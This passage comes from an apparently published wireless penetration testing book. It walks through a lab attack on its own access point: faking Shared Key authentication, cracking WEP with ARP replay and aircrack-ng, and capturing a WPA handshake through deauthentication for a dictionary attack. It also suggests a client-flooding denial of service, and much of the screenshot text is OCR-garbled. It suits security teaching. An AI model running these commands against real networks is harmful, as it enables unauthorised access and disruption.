559 28.476433 aa:aa:aa:aa:aa:aa	D-Link_d2:8e:25	IEEE 802 Authentication,	SN=0, FN=0, Flags=
561 28.485326 D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentication, 3	5N=2950, FN=0, Flags=
			·
Frame 561 (196 bytes on wire, 196 byte	es captured)		
Kadiotap Header v0, Length 32			
FIELE 802.11 Authentication, Flags:			
* IEEE 802.11 Wireless LAN management TI E Eined accomptone (6 button)	ame		
Authoritication Algorithm, Charad ka			
Authentication Algorithm: Shared Ke	(y (1)		
Status code: Successful (0x0000)			
v Tagged parameters (130 bytes)			
x (hallenge text			
Tag Number: 16 (Challenge text)			
Tag length: 128			
Tag interpretation: Challenge tex	t: E4E9EEB4487B55C7E776	A13D58484D4C6BB6A59CEAD68E	-86
ing interpretation enactorige tex			
0000 00 00 20 00 2f 48 00 00 1b 58 de	44 01 00 00 00	U Y M	
0010 10 02 9e 09 a0 00 f7 01 00 00 00	00 00 00 00 00 00		
0020 b0 00 40 01 aa aa aa aa aa aa 00	21 91 d2 8e 25@		
File: "/tmp/etherXXXXXAIv6" S50 K Packets: 2896 Displayed: 10	05 Marked: 0 Dropped: 0		Profile: Default

9. In the third packet, the tool sends the encrypted challenge to the access point:



10. As the aireplay-ng tool used the derived keystream for encryption, the authentication succeeds and the access point sends a success message in the fourth packet:

2 00											(Unt	(itled)	Wiresha	rk										
Ele E	dit yj	iew G	o (2)	apture	Analy	/ze ≦tati	istics E	delp						-									-	
e (8	10	1 🖬				× C		S. 4	₽ ⇒		F 🕹			Q	®,	m @		1	36	Ħ				
Filte	r: (wl	an.ad	dr =	= aa:	aa:aa:	aataataa	a)		•	- Expr	ression.	📤 s	jlear 🍕 A	pply										
No	1	fime			Sourc	e			1	Destinatio	'n			Prote	ocol	info								
	591 2	28.83	393	19	D-L	ink_d2	:8e:1	25	Ē	aa:aa:	aa:a	a:aa	:aa	IEE	E 80	2 Auth	hen	tica	ition	, SN	=2955	, FN=θ,	Flags	5=
4	_	_	_	_	_	_	_	_			_			_	_		_	_						•
⊳ Fra	me 5	i91 ((66	byt	es or	n wire	, 66	byte	es ca	pture	d)													
Rad	liota	ар Не	eade	ar v	0, L(ength	32																	
IEE	E 80	92.13	1 Au	uthe	ntic	ation,	Flag	gs: ,		C														
IEE	E 80	12.13	i wi	irel	ess l	LAN ma	inager	ment	fram	e.														
	ixed	par	ame	ters	3 (6	bytes)																	I
	Auth	ienti	icat	rion	Algo	prithm	i: Sha	ared	key	(1)														I
	Autr	ienti	icat	(10n	SEQ	: 0x00	04	000																
	Stat	us c	:ode	1: 21	acces	ISTUL	(0x00	300)																I
																								I
																								I
0000	00	00 2	20 (00 2	f 48	00 00	J 39	c4 r	el 4r	01 0	0 00	00	/	н	9	1	_	-		_				-
0010	10	02 5	9e (09 a	0 00	f1 01	1 00	00 0	00 00	00 00	0 00	00												
0020	b0	00	40 (01 a	ia aa	aa aa	a aa	aa 🤅	30 23	. 91 d	2 8e	25			!	%					_			
File: */tn	noveth	er/0000	(kOA)	v6* 55	0 K	Packets:	2896 D	isplayer	: 105 1	tarked: 0 F	Oroppe	d: 0					_		_	_	Profi	le: Default		

11. After the authentication succeeds, the tool fakes an association with the access point, which succeeds as well:

🖳 🕅		(Untitled) - Wiresha	irk		
<u>Ele Edit View Go Captu</u>	re <u>A</u> nalyze <u>S</u> tatistics <u>H</u> elp				
	🖮 🖬 🗶 😂 📇 🔍 🔶	🔿 🥪 🜴 👱 🔲 🖬 🔇	६ ୦. ୧. 🖭 📓 🕅 🚦	5 😹 🛛 🗮	
Elter: (wlan.addr == aa	itaataataataa)	💌 💠 Expression 실 Clear 🍕	Apply		
No Time	Source	Destination	Protocol Info		-
604 28.856307	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentica	tion, SN=2955, FN=0	, Flags=
605 28.857311	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Authentica	tion, SN=2955, FN=0	, Flags=
611 29.076796	aa:aa:aa:aa:aa:aa	D-Link_d2:8e:25	IEEE 802 Associatio	n Request, SN=6, FN	=0, Flags=.
613 29.100485	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Associatio	n Response, SN=2958	, FN=0, Fla
615 29.076809	aa:aa:aa:aa:aa:aa	D-Link_d2:8e:25	IEEE 802 Associatio	n Request, SN=6, FN	=0, Flags=.
616 29.102506	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Associatio	n Response, SN=2958	, FN=0, Fla
617 29.104437	D-Link_d2:8e:25	aa:aa:aa:aa:aa:aa	IEEE 802 Associatio	n Response, SN=2958	, FN=0, Fla
610 20 105450	D 1 3-0		TEEE 000 Annointin	- Daasaaa CN_2000	- FNLO - F1
Frame 611 (70 by Radiotap Header P Radiotap Header Fixed paramete Fixed paramete Capability In Listen Interv Tagged paramete Tag Number: Tag length: Tag interprot Supported Rat Tag Number: Tag Number: Tag length:	tes on wire, 70 bytes v0, Length 12 ciation Request, Flag less LAN management f rs (4 bytes) formation: 0x0431 al: 0x0064 ers (30 bytes) r set: "Wireless Lab" 0 (SSID parameter set 12 tation: Wireless Lab es: 1.0 2.0 5.5 11.0 1 (Supported Rates)	captured) 3: ame			
Tug cengen.	T				
0000 00 00 0c 00	04 80 00 00 02 00 18	00 00 00 3a 01			-
0010 00 21 91 d2	8e 25 aa aa aa aa aa aa aa	aa UU 21 91 d2 .!	.76! 1 d. Wirele		
0020 oe 25 60 00	51 04 04 00 00 0C 5/	09 / 2 00 0C 05 .%.	1.dWirele	Profile: Default	-
Line: JeuthleringLycycoroware. 2	and an access 2030 Disbiahan 1	or manager o propped; o		a Prome: Denaur	n.
Bypassing WLAN Authentication

12. If you check the wireless logs in your access point's administrative interface, you should now see a wireless client with the MAC address **AA:AA:AA:AA:AA:AA**: connected:

11	kali

AA-AA-AA-AA-AA

192.168.1.110 01:59:57

What just happened?

We were successful in deriving the keystream from a shared authentication exchange, and we used it to fake an authentication to the access point.

Have a go hero – filling up the access point's tables

Access points have a maximum client count after which they start refusing connections. By writing a simple wrapper over aireplay-ng, it is possible to automate and send hundreds of connection requests from random MAC addresses to the access point. This will end up filling the internal tables and once the maximum client count is reached, the access point will stop accepting new connections. This is typically what is called a **Denial of Service (DoS)** attack and can force the router to reboot or make it dysfunctional. This can lead to all the wireless clients being disconnected and being unable to use the authorized network.

Check whether you can verify this in your lab!

Pop quiz – WLAN authentication

Q1. How can you force a wireless client to re-connect to the access point?

- 1. By sending a deauthentication packet.
- 2. By rebooting the client.
- 3. By rebooting the access point.
- 4. All of the above.
- Q2. What does Open Authentication do?
 - 1. It provides decent security.
 - 2. It provides no security.
 - 3. It requires the use of encryption.
 - 4. None of the above.

Q3. How does breaking Shared Key Authentication work?

- 1. By deriving the keystream from the packets.
- 2. By deriving the encryption key.
- 3. By sending deauthentication packets to the access point.
- 4. By rebooting the access point.

Summary

In this chapter, we learnt about WLAN Authentication. Hidden SSIDs are a security-throughobscurity feature and are is relatively simple to beat. MAC address filters do not provide any security, as MAC addresses can be sniffed from the air from the wireless packets. This is possible because the MAC addresses are unencrypted in the packet. Open Authentication provides no real authentication at all. Shared Key Authentication is a bit tricky to beat but, with the help of the right tools, we can derive the store and the keystream, using which it is possible to answer all future challenges sent by the access point. The result is that we can authenticate without needing to know the actual key.

In the next chapter, we will take a look at different WLAN encryption mechanisms—WEP, WPA, and WPA2—and look at the insecurities that plague them.

"640K is more memory than anyone will ever need."

Bill Gates, Founder, Microsoft

Even with the best of intentions, the future is always unpredictable. The WLAN committee designed WEP and then WPA to be foolproof encryption mechanisms but, over time, both these mechanisms had flaws that have been widely publicized and exploited in the real world.

WLAN encryption mechanisms have had a long history of being vulnerable to cryptographic attacks. It started with WEP in early 2000, which eventually was completely broken. In recent times, attacks are slowly targeting WPA. Even though there is no public attack available currently to break WPA in all general conditions, there are attacks that are feasible under special circumstances.

In this chapter, we will take a look at the following topics:

- Different encryption schemas in WLANs
- Cracking WEP encryption
- Cracking WPA encryption

WLAN encryption

WLANs transmit data over the air and thus there is an inherent need to protect data confidentiality. This is best done using encryption. The WLAN committee (IEEE 802.11) formulated the following protocols for data encryption:

- Wired Equivalent Privacy (WEP)
- Wi-Fi Protected Access (WPA)
- Wi-Fi Protection Access v2 (WPAv2)

In this chapter, we will take a look at each of these encryption protocols and demonstrate various attacks against them.

WEP encryption

The **WEP protocol** was known to be flawed as early as 2000 but, surprisingly, it is still continuing to be used and access points still ship with WEP enabled capabilities.

There are many cryptographic weaknesses in WEP and they were discovered by Walker, Arbaugh, Fluhrer, Martin, Shamir, KoreK, and many others. Evaluation of WEP from a cryptographic standpoint is beyond the scope of this book, as it involves understanding complex math. In this section, we will take a look at how to break WEP encryption using readily available tools on the BackTrack platform. This includes the entire aircrack-ng suite of tools—airmon-ng, aircplay-ng, aircdump-ng, aircrack-ng, and others.

The fundamental weakness in WEP is its use of RC4 and a short IV value that is recycled every 224 frames. While this is a large number in itself, there is a 50 percent chance of four reuses every 5,000 packets. To use this to our advantage, we generate a large amount of traffic so that we can increase the likelihood of IVs that have been reused and thus compare two cipher texts encrypted with the same IV and key.

Let's now first set up WEP in our test lab and see how we can break it.

Time for action – cracking WEP

Follow the given instructions to get started:

1. Let's first connect to our access point Wireless Lab and go to the settings area that deals with wireless encryption mechanisms:

TP-I INK	0		
Status	WPA/WPA2 - Personal(Reco	ommended)	
Quick Setup	Version:	WPA2-PSK 🔻	
WPS	Encryption:	AES 🔻	
Network	Wireless Password:	88455808	
Wireless		(You can enter ASCII characters between	8 and 63 or Hexadecimal characters between 8 and 64.)
- Wireless Settings	Group Key Update Period:	0 Seconds	
- Wireless Security		(Keep it default if you are not sure, minimu	m is 30, 0 means no update)
- Wireless MAC Filtering	WPA/WPA2 - Enterprise		
- Wireless Advanced	Version:	Automatic	
- Wireless Statistics	Encryption:	Automatic	
DHCP	Padius Server IP	/ diomatic	
Forwarding	Padius Port	1912 (1-65535, 0 stands for defa	ult port 1912)
Security	Radius Port.	1612 (1-05555), 0 stands for dela	
Parental Control	Radius Password:		
Access Control	Group Key Update Period:	0 (in second, minimum i	s 30, 0 means no update)
Advanced Routing	WEP		
Bandwidth Control	Туре:	Automatic 🔻	
IP & MAC Binding	WEP Key Format:	Hexadecimal 🔻	
Dynamic DNS	Key Selected	WEP Key	Кеу Туре
System Tools	Key 1: 💿		Disabled 🔻
	Key 2: 💿		Disabled 🔻
	Key 3: 💿		Disabled ▼
	Key 4: 🔵		Disabled ▼
		-	
		Cove	
		Save	

2. On my access point, this can be done by setting the Security Mode to WEP. We will also need to set the WEP key length. As shown in the following screenshot, I have set WEP to use 128bit keys. I have set the default key to WEP Key 1 and the value in hex to abcdefabcdefabcdefabcdef12 as the 128-bit WEP key. You can set this to whatever you choose:

TP-LINK [®]			
Status	WPA/WPA2 - Personal(Rec	commended)	
Quick Setup	Version:	WPA2-PSK V	
/PS	Encryption:	AES 🔻	
etwork	Wireless Password:	88455808	
lireless		(You can enter ASCII characters between	B and 63 or Hexadecimal characters between 8 and 64.
Wireless Settings	Group Key Update Period:	0 Seconds	
Wireless Security		(Keep it default if you are not sure minimu	m is 30, 0 means no update)
Wireless MAC Filtering		(Reep is delider in year are not oure, minima	nio os, o meano no aparco)
Wireless Advanced	WPA/WPA2 - Enterprise		
Wireless Statistics	Version:	Automatic •	
нср	Encryption:	Automatic •	
orwarding	Radius Server IP:		
ecurity	Radius Port:	1812 (1-65535, 0 stands for defa	ult port 1812)
arental Control	Radius Password:		
Access Control	Group Key Update Period:	0 (in second, minimum i	s 30, 0 means no update)
Advanced Routing	WEP		
andwidth Control	Type:	Automatic •	
P & MAC Binding	WEP Key Format:	Hexadecimal 🔻	
ynamic DNS	Key Selected	WEP Key	Key Type
ystem Tools	Key 1: 💿	abcdefabcdefabcdefabcdef12	128bit •
	Key 2:		
	Key 3:		
	Key 4:		Disabled •
	We do not recommend using the	WER approximation if this device operators in 900	UISADIED *
	802.11n specification.	wer encryption it this device operates in 802.	I in mode due to the fact that WEP is not supported by
-			
		Save	

- **3.** Once the settings are applied, the access point should now be offering WEP as the encryption mechanism of choice. Let's now set up the attacker machine.
- 4. Let's bring up Wlan0 by issuing the following command: ifconfig wlan0 up
- Then, we will run the following command: airmon-ng start wlan0

6. This is done so as to create mon0, the monitor mode interface, as shown in the following screenshot. Verify that the mon0 interface has been created using the iwconfig command:

😣 🖨 🗊 🛛 Kali Linux 32-bit - V	Mware Player (Non-commercial use only)				
Applications Places 🧃 🗄	>	Fri 26 Sep, 21:02	· 🔒 🛛 🛛	•) *		🗬 root
	ı	oot@kali: ~			_ □	×
File Edit View Search	n Terminal H	elp				
<mark>root@kali:~#</mark> airmon-	ng start wla	an0				
Found 3 processes th If airodump-ng, aire a short period of ti -e PID Name 2012 declignt	nat could can aplay-ng or a .me, you may	use trouble. airtun-ng stops worki want to kill (some o	ng after f) them!			
2935 NetworkManag 4062 wpa_supplica	ger ant					
Interface Chip	set	Driver				
wlan0 Rali	nk RT2870/30.	970 rt2800usb - (monitor mode enable	[phy0] d on mon0)			
root@kali:~# iwconfi mon0 IEEE 802.1 Retry shor Power Mana	.g mon0 .lbgn Mode: rt limit:7 agement:off	Monitor ^{ec.} Tx-Power=20 RTS thr:off Fragme	dBm ^{etohear} nt thr:off			
<pre>root@kali:~#</pre>						
🗵 root@kali: ~						
To release input, press Ctrl+Alt				🔤 🕞 🛝	🗎 🚅 🚺 🕻) 🚾 🛍 🐰

7. Let's run airodump-ng to locate our lab access point using the following command: airodump-ng mon0 **8.** As you can see in the following screenshot, we are able to see the Wireless Lab access point running WEP:

8	🖲 🔲 Kali Linux 32-bit - V	/Mware Player (Non-coi	nmercial use only)	
Ар	plications Places હ	<u>۸_</u>	Fri 26 Sep, 21:06 🛛 🔗	🔩 🎗 🚅 🗖 root
			root@kali: ~	
	File Edit View Sear	th Terminal Help	oo tan	
	CH 2][Elapsed:	24 s][2014-09-26	21:06	
	BSSID	PWR Beacons #	Data, #/s CH MB ENC CIPHER AUTH	ESSID
	E8:94:F6:62:1E:8E 9C:D3:6D:2A:7B:C0	-44 9 -75 9	2 0 11 54e. WEP WEP 3 0 11 54e WPA2 CCMP PSK	Wireless Lab everythingwillpro
	00:22:B0:62:6D:08	-90 10	332 44 1 54e WPA TKIP PSK	Upstairs
	BSSID	STATION	PWR Rate Lost Frames Prob	e
	(not associated) (not associated)	80:1F:02:8F:34:D5 00:EE:BD:B3:62:DE	0 0 - 1 0 11 -55 0 - 1 1 2	
	E8:94:F6:62:1E:8E	20:10:7A:45:36:61	-1 54e- 0 0 2	
	00:22:B0:62:6D:08	5C:F6:DC:D4:61:14	-65 0-0 0 4 -75 12e-18e 1 331	
	00:22:B0:62:6D:08	F0:4F:7C:BF:5F:8E	-77 0 - 1e 0 2	
	00:22:B0:62:6D:08	78:E4:00:46:D9:86		
] root@kali: ~			
То ге	elease input, press Ctrl+Al	1		🔤 😪 🝬 🚔 🖬 🔂 🙀 🐿 💡

9. For this exercise, we are only interested in the Wireless Lab, so let's enter the following command to only see packets for this network:

airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo mon0



The preceding command line is shown in the following screenshot:

10. We will request airodump-ng to save the packets into a pcap file using the --write directive:



- [63] -

- **11.** Now let's connect our wireless client to the access point and use the WEP key as abcdefabcdefabcdefabcdef12. Once the client has successfully connected, airodump-ng should report it on the screen.
- 12. If you do an ls in the same directory, you will be able to see files prefixed with WEPCrackingDemo-*, as shown in the following screenshot. These are traffic dump files created by airodump-ng:



13. If you notice the airodump-ng screen, the number of data packets listed under the #Data column is very few in number (only 68). In WEP cracking, we need a large number of data packets, encrypted with the same key to exploit weaknesses in the protocol. So, we will have to force the network to produce more data packets. To do this, we will use the aireplay-ng tool:



14. We will capture ARP packets on the wireless network using Aireplay-ng and inject them back into the network to simulate ARP responses. We will be starting Aireplay-ng in a separate window, as shown in the next screenshot. Replaying these packets a few thousand times, we will generate a lot of data traffic on the network. Even though Aireplay-ng does not know the WEP key, it is able to identify the ARP packets by looking at the size of the packets. ARP is a fixed header protocol; thus, the size of the ARP packets can be easily determined and can be used to identify them even within encrypted traffic. We will run aireplay-ng with the options that are discussed next. The -3 option is for ARP replay, -b specifies the BSSID of our network, and -h specifies the client MAC address that we are spoofing. We need to do this, as replay attacks will only work for authenticated and associated client MAC addresses:



15. Very soon you should see that aireplay-ng was able to sniff ARP packets and started replaying them into the network. If you encounter channel-related errors as I did, append -ignore-negative-one to your command, as shown in the following screenshot:



16. At this point, airodump-ng will also start registering a lot of data packets. All these sniffed packets are being stored in the WEPCrackingDemo-* files that we saw previously:



17. Now let's start with the actual cracking part! We fire up aircrack-ng with the option WEPCRackingDemo-0*.cap in a new window. This will start the aircrack-ng software and it will begin working on cracking the WEP key using the data packets in the file. Note that it is a good idea to have Airodump-ng collect the WEP packets, aireplay-ng do the replay attack, and aircrack-ng attempt to crack the WEP key based on the captured packets, all at the same time. In this experiment, all of them are open in separate windows.

18. Your screen should look like the following screenshot when aircrack-ng is working on the packets to crack the WEP key:

😣 🗐 🗊 🛛 Kali Linux 32	2-bit - VMware Player (Nor	n-commercial use only)			
Applications Places	; 💽 🛌	Fri 26 Sep, 21:10	6		💲 🚅 🗖 root
	ro	ot@kali: ~/WEPCrack			_ 🗆 ×
File Edit View	Search Terminal Tabs	Help			
root@kali: ~	× roo	ot@kali: ~	×	root@kali: ~/WEPCrack	×
KB depth 0 0/17 1 0/1 2 0/1 3 1/2 4 3/4	[00:00:00] byte(vote) 12(6656) 49(6656) 14(7424) A2(6400) C0(7680) 22(6656) 55F(6912) 17(6656) 56(6912) A8(6400)	Aircrack-ng 1, Tested 625 keys (go 13(6400) 1C(6400) C3(6400) F3(6400) 41(6656) 50(6656) EC(6656) 7F(6400) DF(6400) 41(6144)	.2 beta3 bt 4193 IV 84(6400) AC(6144) B2(6656) 92(6400) 5E(6144)	/s) BA (6400) E3 (6144) EF (6656) B3 (6400) 8D (6144)	
					0
🗵 root@kali: ~/WER	PCrack 🗵 root@kali: ~/W	/EPCrack			
To release input, press	Ctrl+Alt			🖾 😭 1	V 😑 🚅 🚺 🔂 📆 🐑 💡

19. The number of data packets required to crack the key is nondeterministic, but generally in the order of a hundred thousand or more. On a fast network (or using aireplay-ng), this should take 5-10 minutes at most. If the number of data packets currently in the file is not sufficient, then aircrack-ng will pause, as shown in the following screenshot, and wait for more packets to be captured; it will then restart the cracking process:

😣 🖻 🗊 Kali Linux 32-bi	t - VMware Player (Non-commercial us	e only)		
		21.14		
Applications Places	🦉 🖳 🛛 Fri 26 Se	p, 21:16	8 × 1	root
	root@kali: ~/WEP	'Crack		- • ×
File Edit View S	earch Terminal Tabs Help			
root@kali: ~	× root@kali: ~	×	root@kali: ~/WEPCrack	×
	Aircrack	k-ng 1.2 beta3		
	[00:00:02] Tested 166661	kove (got 2061		
	[00:00:02] Tested 10000	. keys (gol 3862	2 175)	
0 37/38	F3(5120) 47(4864) 69(4864) 78((4864) 84(4864)	99(4864)	
	B2(6400) 41(6144) 58(6144) 5A	(6144) EF(6144)	FE(6144)	
4 16/ 4	E5(5632) 0E(5376) 1F(5376) 6E	(5632) 47(5632) (5376) 83(5376)	9E(5376)	
Failed. Next try	with 5000 IVs.			
	╏┊╲┟Ѧ╲╽╘╻			
🗵 root@kali: ~/WEPCr	ack 🗵 root@kali: ~/WEPCrack			
To release input, press Ctr	+Alt		🔤 🕞 地	ر 🗈 蒙 🚺 🚺 👘

20. Once enough data packets have been captured and processed, aircrack-ng should be able to break the key. Once it does, it proudly displays it in the terminal and exits, as shown in the following screenshot:

😣 🖨 🗊 🛛 Kali L	_inux 32-b	it - VMware P	layer (Non-co	mmercial us	e only)				
A	Blassa	<i>🜊</i> 🗔		E-126 C			(tr)	اللہ	
Applications	Places	2_		FFI 26 54	ep, 21:18	<u> </u>	×	1 2	r - root
			root@)kali: ~/WEF	PCrack			-	
File Edit	View	Search Termi	nal Tabs H	elp					
root@ka	ıli: ~		× root@	kali: ~	×	root@kali: ~	/WEPCrack		×
				Aircrac	k-ng 1.2 beta3				
		[00]	:00:00] Tes	ted 541 k	eys (got 49534	IVs)			
KB 0 1 2 3 4	depth 5/ 11 8/ 1 3/ 2 1/ 5 0/ 1	byte(vote D8(56832) 3B(56320) D5(57344) E3(60160) DF(72960)	65(56576) 05(55808) 21(56832) EA(58624) AA(60416)	A9(56576) FF(55808) 5A(56832) F0(58112) DC(59136)	D0(56576) FC(5B(55296) 61(A0(56576) 91(5E(57600) 44(4A(57600) 54(56576) 06(5 55296) 6B(5 56320) 17(5 57344) D5(5 56832) 6B(5	6320) 5296) 5808) 6832) 66576)		
	KE۱ Decrypt	/ FOUND! [. ed correctl	AB:CD:EF:AB /: 100%	CD:EF:AB	:CD:EF:AB:CD:E	F:12]			
root@kal	i:~/WEP(Crack#							
			The qu	ieter you beco	me, the more you are	able to hear.			
∑ root@kali	: ~/WEPC	rack 🗵 root	@kali: ~/WEP@	Crack					
To release input	, press Ctr	l+Alt					2	14 🔒 🚅 🖥	1

21. It is important to note that WEP is totally flawed and any WEP key (no matter how complex) will be cracked by Aircrack-ng. The only requirement is that a large enough number of data packets, encrypted with this key, are made available to aircrack-ng.

What just happened?

We set up WEP in our lab and successfully cracked the WEP key. In order to do this, we first waited for a legitimate client of the network to connect to the access point. After this, we used the aireplay-ng tool to replay ARP packets into the network. This caused the network to send ARP replay packets, thus greatly increasing the number of data packets sent over the air. We then used the aircrack-ng tool to crack the WEP key by analyzing cryptographic weaknesses in these data packets.

Note that we can also fake an authentication to the access point using the Shared Key Authentication bypass technique we learnt in the last chapter. This can come in handy if the legitimate client leaves the network. This will ensure that we can spoof an authentication and association and continue to send our replayed packets into the network.

Have a go hero – fake authentication with WEP cracking

In the previous exercise, if the legitimate client had suddenly logged off the network, we would not have been able to replay the packets as the access point will refuse to accept packets from un-associated clients.

Your challenge will be to fake an authentication and association using the Shared Key Authentication bypass we learnt in the last chapter, while WEP cracking is going on. Log off the legitimate client from the network and verify that you are still able to inject packets into the network and whether the access point accepts and responds to them.

WPA/WPA2

WPA(or WPA v1 as it is referred to sometimes) primarily uses the TKIP encryption algorithm. TKIP was aimed at improving WEP, without requiring completely new hardware to run it. WPA2 in contrast mandatorily uses the AES-CCMP algorithm for encryption, which is much more powerful and robust than TKIP.

Both WPA and WPA2 allow either EAP-based authentication, using RADIUS servers (Enterprise) or a **Pre-Shared key (PSK)** (personal)-based authentication schema.

WPA/WPA2 PSK is vulnerable to a dictionary attack. The inputs required for this attack are the four-way WPA handshake between client and access point, and a wordlist that contains common passphrases. Then, using tools such as Aircrack-ng, we can try to crack the WPA/ WPA2 PSK passphrase.



An illustration of the four-way handshake is shown in the following screenshot:

The way WPA/WPA2 PSK works is that it derives the per-session key, called the **Pairwise Transient Key (PTK)**, using the Pre-Shared Key and five other parameters—SSID of Network, **Authenticator Nounce (ANounce)**, **Supplicant Nounce (SNounce)**, **Authenticator MAC address (Access Point MAC)**, and **Suppliant MAC address (Wi-Fi Client MAC)**. This key is then used to encrypt all data between the access point and client.

An attacker who is eavesdropping on this entire conversation by sniffing the air can get all five parameters mentioned in the previous paragraph. The only thing he does not have is the Pre-Shared Key. So, how is the Pre-Shared Key created? It is derived by using the WPA-PSK passphrase supplied by the user, along with the SSID. The combination of both of these is sent through the **Password-Based Key Derivation Function (PBKDF2)**, which outputs the 256-bit shared key.

In a typical WPA/WPA2 PSK dictionary attack, the attacker would use a large dictionary of possible passphrases with the attack tool. The tool would derive the 256-bit Pre-Shared key from each of the passphrases and use it with the other parameters, described earlier, to create the PTK. The PTK will be used to verify the **Message Integrity Check (MIC)** in one of the handshake packets. If it matches, then the guessed passphrase from the dictionary was correct; if not, it was incorrect.

Eventually, if the authorized network passphrase exists in the dictionary, it will be identified. This is exactly how WPA/WPA2 PSK cracking works! The following figure illustrates the steps involved:



In the next exercise, we will take a look at how to crack a WPA PSK wireless network. The exact same steps will be involved in cracking a WPA2-PSK network using CCMP(AES) as well.

Time for action – cracking WPA-PSK weak passphrases

Follow the given instructions to get started:

1. Let's first connect to our access point Wireless Lab and set the access point to use WPA-PSK. We will set the WPA-PSK passphrase to abcdefgh so that it is vulnerable to a dictionary attack:

TP-LINK	۲,			
Slatus				
Quick Setup	Wireless Security			
WPS				
Network	Dischle Security			
Wireless	Disable security			
Wireless Settings				
Wireless Security	WPA/WPA2 - Personal(Rec	ommended)		
Wireless MAC Filtering	Version:	WPA-PSK		
Wireless Advanced	Encryption:	AES		
Wireless Statistics	Wireless Password:	abcdefgh		
DHCP		(You can enter A	SCII characters	between 8 and 63 or Hexadecimal characters between 8 and 64.)
orwarding	Group Key Update Period:	0	Seconds	
Security		(Keen it default i	fundi ata not sur	minimum is 30.0 magns no undata)

2. We start airodump-ng with the following command so that it starts capturing and storing all packets for our network:

airodump-ng -bs	sid	00:21:91:D2:8E:25	-channel	11	-write
WPACrackingDemo	moi	n0 "			

The following screenshot shows the output:



- [75] -

3. Now we can wait for a new client to connect to the access point so that we can capture the four-way WPA handshake, or we can send a broadcast deauthentication packet to force clients to reconnect. We do the latter to speed things up. The same thing can happen again with the unknown channel error. Again, use --ignore-negative-one. This can also require more than one attempt:



4. As soon as we capture a WPA handshake, the airodump-ng tool will indicate it in the top-right corner of the screen with a WPA handshake followed by the access point's BSSID. If you are using -ignore-negative-one, the tool may replace the WPA handshake with a fixed channel message. Just keep an eye out for a quick flash of a WPA handshake.

5. We can stop the airodump-ng utility now. Let's open up the cap file in Wireshark and view the four-way handshake. Your Wireshark terminal should look like the following screenshot. I have selected the first packet of the four-way handshake in the trace file in the screenshot. The handshake packets are the one whose protocol is **EAPOL**:

😣 🚍 💷 Kali Linux 32-bit - VMware Player (No	on-commercial use only)	
Applications Places 🥰 돈	Fri 26 Sep, 21:30	🔒 🔍 🎗 🚅 🖛 root
WPACrackingDemo-03.cap [W	/ireshark 1.10.2 (SVN Rev 51934 fro	om /trunk-1.10)] _ 🗆 🗵 🗙
File Edit View Go Capture Analyze Sta	tistics Telephony Tools Internals	Help
🖲 🛛 🥖 🗏 🖉 🚔 🗮 C	오 💠 🔿 주 🛨 🔲	
Filter:	✓ Expression Clear	Apply Save
No. Time Source 13327 72.523825 Tp-LinkT_62:1e:8e 13328 72.524800 Tp-LinkT_62:1e:8e 13329 72.525290 Tp-LinkT_62:1e:8e 13330 72.525873 Tp-LinkT_62:1e:8e	Destination Protocol Broadcast 802.11 GemtekTe_45:36:61 802.11 Tp-LinkT_62:1e:8e (RA) 802.11 Broadcast 802.11	Lengti Info 26 Deauthentication, SN=1127, FN 176 Reassociation Response, SN=25 10 Acknowledgement, Flags= 26 Deauthentication, SN=1128, FN
13331 72.526336	GemtekTe_45:36:61 EAPOL	133 Key (Message 1 of 4)
13332 72.526826	Tp-LinkT_62:1e:8e (RA)802.11	10 Acknowledgement, Flags=
 Frame 13331: 133 bytes on wire (1064 b: IEEE 802.11 QoS Data, Flags:F. Logical-Link Control 802.1X Authentication 	its), 133 bytes captured (1064 bi	ts)
0000 88 02 3a 01 20 10 7a 45 36 61 e8 9 0010 e8 94 f6 62 1e 8e 00 00 60 0a a 0020 88 8e 02 03 05 f fe 00 06 00 aa a 0030 00 01 b0 8d e7 55 75 58 0b 6a 6 0040 f9 18 f2 c9 of eb 30 be e6 62 b0 6a	4 f6 62 le 8ezE 6ab a 03 00 00 00b 0 00 00 00 00 4 c7 44 e4 3f[u X.jd.D.? c 3b 36 ll cdb.l:6	
○ Marchaeler (1998) ● Packing Demo-03.cap - Packing Demo-03.cap	ets: 29476 · Displayed: 29476 (100.0%) Loa Profile: Default
🗵 root@kali: ~/\	WEPCrack 🖉 WPACrackingDemo-0	
To grab input, press Ctrl+G		🔤 🔞 🖬 🗮 🖬 💼 👘

6. Now we will start the actual key cracking exercise! For this, we need a dictionary of common words. Kali ships with many dictionary files in the metasploit folder located as shown in the following screenshot. It is important to note that, in WPA cracking, you are just as good as your dictionary. BackTrack ships with some dictionaries, but these may be insufficient. Passwords that people choose depend on a lot of things. This includes things such as which country users live in, common names and phrases in that region the, security awareness of the users, and a host of other things. It may be a good idea to aggregate country- and region-specific word lists, when undertaking a penetration test:

🗩 🕛 Kali Linux 32-bit - VMware Player (Non-comn	nercial use only)	_	_		
olications Places 🧃 国	Fri 26 Sep. 21:31		*	-	
		×	~		
root@kali: ~/W	EPCrack	-	• ×		
File Edit View Search Terminal Help					
<pre>root@kali:~/WEPCrack# ls /usr/share/wor</pre>	rdlists/metasploit				
av-update-urls.txt	oracle default hashes.txt				
burnett top 1024.txt	<pre>oracle_default_passwords.c</pre>	sv			
burnett_top_500.txt	oracle default userpass.tx	(t			
cms400net default userpass txt	postgres default pass.txt				
db2 default pass.txt	postgres default userpass.	txt			
db2_default_userpass.txt	postgres default user.txt				
db2_default_user.txt	root userpass.txt				
default pass for services unhash.txt	rpc names.txt				
default_userpass_for_services_unhash.t>	t rservices from users.txt				
default users for services unhash.txt	sap common.txt				
dlink telnet backdoor userpass.txt	sap default.txt				
hci oracle passwords.csv	sap icm paths.txt				
http default pass txt	sensitive files.txt				
http_default_userpass.txt	sensitive files win txt				
http_default_users.txt	sid.txt				
http_owa_common_txt	some default pass tyt				
idrac dofault pass tyt	tftn tvt				
	the the start default nase to	t t			
ipmi pacewords tyt	tomcat mar default version	c tyt			
	tomcat man default users t	si LAL			
ioomla txt	upix passwords txt				
poolicious unle txt	youulitx_pdsswords.txt.able to hear				
malicious_uris.txt					
multi vendor octy dyr years tyt	VIIC_passworus.txt				
mutti vendor_cctv_dvr_users.txt	vxworks_collide_20.txt				
